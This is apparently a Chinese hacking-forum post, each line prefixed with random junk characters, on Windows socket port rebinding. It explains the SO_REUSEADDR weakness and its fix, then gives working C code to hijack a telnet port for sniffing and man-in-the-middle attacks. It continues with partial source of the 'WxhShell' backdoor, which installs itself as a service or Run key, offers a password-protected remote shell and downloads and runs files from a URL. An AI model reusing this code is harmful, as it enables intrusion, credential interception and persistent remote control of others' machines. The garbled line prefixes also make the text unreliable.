在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
1B3,lYBM s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
`R@24 ) <_*8a(j3 saddr.sin_family = AF_INET;
b("JgE` (l22p
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
QN(f8t( (PYUfiOf bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
}iy`Ko+B"b
w'=#7$N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
H+zn:j@~L PMZdz>>T 这意味着什么?意味着可以进行如下的攻击:
u)P$xkf aMTY{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
V>P\yr? sF;1)7]Pq 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
.<Z7K @ tYfhKJzGC 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
yZ:|wxVY BO\l>\)Ir 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
;hs:wLVa" whNRUOK: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
EpGe'S kyJv,!}; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
n#3y2,Ml We#*.nr{3Z 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#py7emu p!'wOThO` #include
?l,i(I #include
$!I$*R& #include
`Uk,5F5 #include
7\ff=L-b DWORD WINAPI ClientThread(LPVOID lpParam);
9r1pdG_C@ int main()
S=aXmz< {
},a|WL3^ WORD wVersionRequested;
w]yLdfi! DWORD ret;
j<deTK;. WSADATA wsaData;
any\}
BOOL val;
&P3B SOCKADDR_IN saddr;
Q\=u2}/z0 SOCKADDR_IN scaddr;
|r-<t int err;
">fgoDQ SOCKET s;
ZuS+p0H" SOCKET sc;
N#.IpY'7Ze int caddsize;
'%RMpyK~ HANDLE mt;
n^Z?u9VR DWORD tid;
iI&SI#;
_ wVersionRequested = MAKEWORD( 2, 2 );
!hH6!G err = WSAStartup( wVersionRequested, &wsaData );
,A6*EJ\w if ( err != 0 ) {
9: ~,TH printf("error!WSAStartup failed!\n");
5 (H; x74 return -1;
#gN{8Yk> }
X<9DE!/) saddr.sin_family = AF_INET;
]}v`#-Px( WZO#(eO` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
*R~oA` b1*6) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
{iQ<`,)Y saddr.sin_port = htons(23);
It_yh
#s if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0)2lBfHQ& {
:&:>sd(QD printf("error!socket failed!\n");
S?3{G@!
return -1;
JR<R8+@g_ }
-x_iqrB val = TRUE;
+$
-#V //SO_REUSEADDR选项就是可以实现端口重绑定的
y mE`V if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Mvcl9 {
pP/o2 printf("error!setsockopt failed!\n");
8c/Ii"1 return -1;
/ 9;Pbxn }
?=4t~\g? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
1b!l+ 8! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
11-uJVO~* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
& {/u>, "Q
J-IRt& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
R;.WOies4 {
3}gK`1Nq1 ret=GetLastError();
'#Fh
J%x printf("error!bind failed!\n");
plIx""a^h return -1;
~
dk1fh }
, XR8qi~ listen(s,2);
_k@l-Bj while(1)
R 1 b`( {
j,-7J*A~ caddsize = sizeof(scaddr);
(1HN, iJy //接受连接请求
?d0Dfqh_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
OlJj|?z$ if(sc!=INVALID_SOCKET)
7U7 i2 4 {
18HHEW{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,5?MRqCM if(mt==NULL)
gc:>HX);) {
vJ'
93h printf("Thread Creat Failed!\n");
PWU#`>4 break;
=+L>^w#6= }
tSYnc7 }
/W>"G1) CloseHandle(mt);
q'r3a+ }
TExlGAHo+O closesocket(s);
~e8n yB WSACleanup();
G<eJ0S return 0;
X9j+$X\j }
]*h}sn= DWORD WINAPI ClientThread(LPVOID lpParam)
eH8.O {
Uf<vw3 SOCKET ss = (SOCKET)lpParam;
4{g|$@s( SOCKET sc;
>KFJ1}b|3 unsigned char buf[4096];
:[39g;V}c SOCKADDR_IN saddr;
`ahXn long num;
~] 2R+ DWORD val;
hzb|: DWORD ret;
Y5CE#& //如果是隐藏端口应用的话,可以在此处加一些判断
AlxS?f2w //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
zJ`(LnV saddr.sin_family = AF_INET;
mK-:laIL" saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
t@n (a saddr.sin_port = htons(23);
cg%CYV) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
9$Q|XK {
lz 6 Aj printf("error!socket failed!\n");
gi>_>zStv return -1;
3(&F.&C$$ }
#^ #i]{g val = 100;
<UdD@(iZ# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
rg}kxvu {
:nUsC+oBS ret = GetLastError();
9A(K_d-!H return -1;
dCTpO }
Q%2Lyt"( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
R
<\Yg3m8 {
4/WCs$ ret = GetLastError();
y3]"H( return -1;
:<8V2 }
o7XRa]O if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`h!&-> {
)du{ZWr printf("error!socket connect failed!\n");
J9.p8A^^2 closesocket(sc);
t|QMS M?s closesocket(ss);
y03a\K5[KQ return -1;
nV*sdSt }
3yB6]U while(1)
L0 2~FT {
*+4iBpyiB //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Aq'E:/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
)#~fS28j //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[F[<2{FQF num = recv(ss,buf,4096,0);
F)kLlsp if(num>0)
P.Z<b:V! send(sc,buf,num,0);
X]"OW else if(num==0)
-xIhN?r) break;
Y'0?<_ fj num = recv(sc,buf,4096,0);
gr{Sh`Cm- if(num>0)
A!Ct,%
send(ss,buf,num,0);
[<a%\:c m4 else if(num==0)
VhI IW"1 break;
Rha3 }
Pt0} 9Q closesocket(ss);
={@ @`yP^$ closesocket(sc);
x0$:"68PW return 0 ;
g]
C3lf- }
<L
( = zRE8299%z D)7$M]d% ==========================================================
'!h0![OH R6Z}/ m 下边附上一个代码,,WXhSHELL
B%:9P C*6)Ut ' ==========================================================
$RNUr
\9A =,8Eo"~\ #include "stdafx.h"
(Cd{#j< ~G:2iSi(# #include <stdio.h>
UQ?OD~7 #include <string.h>
q;0&idYC #include <windows.h>
;(0$~O$3u #include <winsock2.h>
~
9~\f #include <winsvc.h>
zpr@!76 #include <urlmon.h>
!5SQN5K KPd C9H #pragma comment (lib, "Ws2_32.lib")
`CEj 4 #pragma comment (lib, "urlmon.lib")
q(tGbhQ !a&SB*%^I3 #define MAX_USER 100 // 最大客户端连接数
V52C,]qQH #define BUF_SOCK 200 // sock buffer
~& WN)r'4y #define KEY_BUFF 255 // 输入 buffer
LSu^#B j5h
6u,^: #define REBOOT 0 // 重启
i Kk"j #define SHUTDOWN 1 // 关机
(p.3'j( [+MX$y #define DEF_PORT 5000 // 监听端口
LUDJPIk K7xWE,y #define REG_LEN 16 // 注册表键长度
dbuJ~?D, #define SVC_LEN 80 // NT服务名长度
MjXE|3& YaNH.$.: // 从dll定义API
;y~{+{{Ow typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
N>pmhskN? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_:Jp*z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
>g>`!Sf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
v]{uxlh $S=~YzO // wxhshell配置信息
}uI7\\S struct WSCFG {
7.e7Fi{ int ws_port; // 监听端口
GKyG
#Fl char ws_passstr[REG_LEN]; // 口令
qQxA@kdd int ws_autoins; // 安装标记, 1=yes 0=no
b WbXh$ char ws_regname[REG_LEN]; // 注册表键名
wLOQhviI^- char ws_svcname[REG_LEN]; // 服务名
C3\E.u? char ws_svcdisp[SVC_LEN]; // 服务显示名
sP?$G8-^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
N=T.l*8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Rj}o4s2x int ws_downexe; // 下载执行标记, 1=yes 0=no
O b8B char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Z6^QB@moj char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Z%+BWS3YqY )XP#W|; };
] dHB} %0yS98']g // default Wxhshell configuration
-*|:v67C& struct WSCFG wscfg={DEF_PORT,
^KkRF": "xuhuanlingzhe",
Zn@W7c,_I 1,
^Ue0mC7m "Wxhshell",
nw0L1TP/J "Wxhshell",
]am~aJ|L
"WxhShell Service",
hhpv\1h# "Wrsky Windows CmdShell Service",
_\dt?(m| "Please Input Your Password: ",
BrJ
o!@< 1,
g/8.W "
http://www.wrsky.com/wxhshell.exe",
{[2tG U9 "Wxhshell.exe"
4l&"]9D };
EJZ@p7*Oj }xDB ~k // 消息定义模块
e=t<H"& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
a`H\-G char *msg_ws_prompt="\n\r? for help\n\r#>";
nW4Vct char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
5M%,N-P^ char *msg_ws_ext="\n\rExit.";
t`"^7YFS> char *msg_ws_end="\n\rQuit.";
8p (!]^z char *msg_ws_boot="\n\rReboot...";
[kbC'Eh* char *msg_ws_poff="\n\rShutdown...";
5x8'K7/4. char *msg_ws_down="\n\rSave to ";
'nRp}s1^[ "~u_\STn < char *msg_ws_err="\n\rErr!";
~~PgF"v char *msg_ws_ok="\n\rOK!";
:GQUM 6 u8Y~_)\MA char ExeFile[MAX_PATH];
ZCm1+Y$ int nUser = 0;
T yU&QXb HANDLE handles[MAX_USER];
GDF{Lf)/v int OsIsNt;
4s9c#nVlu ||uZ bP@ SERVICE_STATUS serviceStatus;
3bWum SERVICE_STATUS_HANDLE hServiceStatusHandle;
RCzV5g U.: sK* // 函数声明
>):m-I int Install(void);
b SQRLxF int Uninstall(void);
z^r|3; int DownloadFile(char *sURL, SOCKET wsh);
OCCEL9d int Boot(int flag);
ITONpg[f void HideProc(void);
Nz~(+pVWg5 int GetOsVer(void);
XdpF&B&K7Q int Wxhshell(SOCKET wsl);
5O&d3;p' void TalkWithClient(void *cs);
t\8&*(&3F int CmdShell(SOCKET sock);
Z|
We9% int StartFromService(void);
lr WLN int StartWxhshell(LPSTR lpCmdLine);
G+U3wF], i^WIr h3a VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
/|?F)%v\ VOID WINAPI NTServiceHandler( DWORD fdwControl );
NCi>S%pD`< be7L="vZw // 数据结构和表定义
u)v$JpNE SERVICE_TABLE_ENTRY DispatchTable[] =
!i^]UN {
nTs/Q V {wscfg.ws_svcname, NTServiceMain},
=+<d1W`>0 {NULL, NULL}
atyu/+U'} };
qIh #~ $Z ]z // 自我安装
&1_U1 int Install(void)
n$4|PO$X {
/PXioiGcs char svExeFile[MAX_PATH];
gz;&u) HKEY key;
DR@1z9 a strcpy(svExeFile,ExeFile);
d8E,o7$m L]I3P|y_ // 如果是win9x系统,修改注册表设为自启动
o2aM#Q
if(!OsIsNt) {
3;-^YG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`4V"s-T' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%&+TbDE+T RegCloseKey(key);
;#&fgj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"~/9F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
h%TLD[[/jr RegCloseKey(key);
FW#P*}# return 0;
"Z T.k5Z }
6):Xzx, }
a
}'->H }
G 4qy*. else {
(?3[3w~ `ZMK9f: // 如果是NT以上系统,安装为系统服务
Gr: 3{o` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
yfEb
if (schSCManager!=0)
&:3Z.G {
.<#ATFmY SC_HANDLE schService = CreateService
9S1)U$ (
#? ?%B schSCManager,
L9FHgl? wscfg.ws_svcname,
M T6/2d wscfg.ws_svcdisp,
[ohBPQO SERVICE_ALL_ACCESS,
aDL*W@1S SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
!%PWig- SERVICE_AUTO_START,
sbo^"&%w SERVICE_ERROR_NORMAL,
|0.Xl+7 svExeFile,
B= X,7 NULL,
VK:8 Nk_y NULL,
W3rl^M=r NULL,
* R d#{Io7 NULL,
(GcT(~Gq)D NULL
@;:>G A );
>cN~U3 if (schService!=0)
0F:1\9f5 {
k?6z_vu CloseServiceHandle(schService);
R Oc`BH= CloseServiceHandle(schSCManager);
@=Fi7M strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
ymN!-x8q>' strcat(svExeFile,wscfg.ws_svcname);
'+Xlw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
0;.<~;@h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
lfN~A"X RegCloseKey(key);
~9\zWRh return 0;
$`VFdAe }
-JT/9IQ }
1HT_ CloseServiceHandle(schSCManager);
mXzrEI }
58V[mlW)O0 }
nV_8Ke i38[hQR9a return 1;
CC^E_j T }
^W?Z <Fz~7WVd // 自我卸载
S9| a$3K' int Uninstall(void)
@>Mxwpl? {
;]sYf HKEY key;
,u9M<B<F |JF@6 if(!OsIsNt) {
1.<q3q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^P'{U26 RegDeleteValue(key,wscfg.ws_regname);
4qi[r)G RegCloseKey(key);
p[AO'
xx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
IiBD?} RegDeleteValue(key,wscfg.ws_regname);
*f%>YxF RegCloseKey(key);
e4>"92hX return 0;
\55VqGyxu9 }
@%ip7Y]e }
cTTW06^ }
) 0 W` else {
8T)&`dM6P~
uw(NG.4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
q$(5Vd: if (schSCManager!=0)
'B5^P {
^~`?>}MJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
?<Wb@6kh` if (schService!=0)
9^Fz iM {
~Nf})U if(DeleteService(schService)!=0) {
s~I6SA&i CloseServiceHandle(schService);
mrIh0B:` CloseServiceHandle(schSCManager);
WY^W.1X return 0;
,GWNLm\5 }
@fv}G>t CloseServiceHandle(schService);
!-`Cp3gqHr }
:cu#V CloseServiceHandle(schSCManager);
WrPUd{QM }
#U8rO;$ }
l3Njq^T Z6\+ return 1;
d8-A*W[ }
Lip4)Y [ vAY,E=&XvM // 从指定url下载文件
qTZFPfyU int DownloadFile(char *sURL, SOCKET wsh)
Hbv6_H {
ljl^ GFo HRESULT hr;
t!Sq A(-V char seps[]= "/";
A_Frk'{qhB char *token;
4DZ-bt' char *file;
;7N{^"r char myURL[MAX_PATH];
SBA?^T char myFILE[MAX_PATH];
@(r/dZc __mF?m strcpy(myURL,sURL);
Y0eE-5F, token=strtok(myURL,seps);
cwiX8e"3 while(token!=NULL)
=zQN[ {
{G?N E file=token;
(o3
Iy token=strtok(NULL,seps);
Eke5Nb }
4apL4E"r .\>v0Du GetCurrentDirectory(MAX_PATH,myFILE);
ER,1(1]N strcat(myFILE, "\\");
/SYw;<= strcat(myFILE, file);
<&C]sb send(wsh,myFILE,strlen(myFILE),0);
O/[cpRe send(wsh,"...",3,0);
sQkhwMg hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'],J$ge if(hr==S_OK)
6gc>X%d `K return 0;
t.mVO]dsj else
m *JaXa return 1;
UX7t`l2R SL5Ai/X0N }
Bve.C
(+0v<uR^D // 系统电源模块
=>-Rnc@ int Boot(int flag)
h$2</J" {
% >=!p HANDLE hToken;
rW$[DdFA5{ TOKEN_PRIVILEGES tkp;
$< JaLS ov, hI>0!D if(OsIsNt) {
YOcO4
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>7 ="8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
v/ _ tkp.PrivilegeCount = 1;
5 aCgjA11 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|p ,P46I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\.-bZ$ if(flag==REBOOT) {
w(L4A0K[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
qi^7 return 0;
P5UL4uyl }
{z{bY\ else {
?{ryGhb ~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
h'{ C[d return 0;
a^I\ /&aw' }
#"G]ke1l$ }
H:V2[y8\ else {
%xI p5h] if(flag==REBOOT) {
9w7n1k. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
cPlZXf return 0;
s*. hl.k. }
ZQV6xoN;r else {
?82xdpg if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
do>wwgr return 0;
8<QdMkI }
asppRL|| }
I=`U7Bis" e w$B)W return 1;
?Lk)gO^C }
H&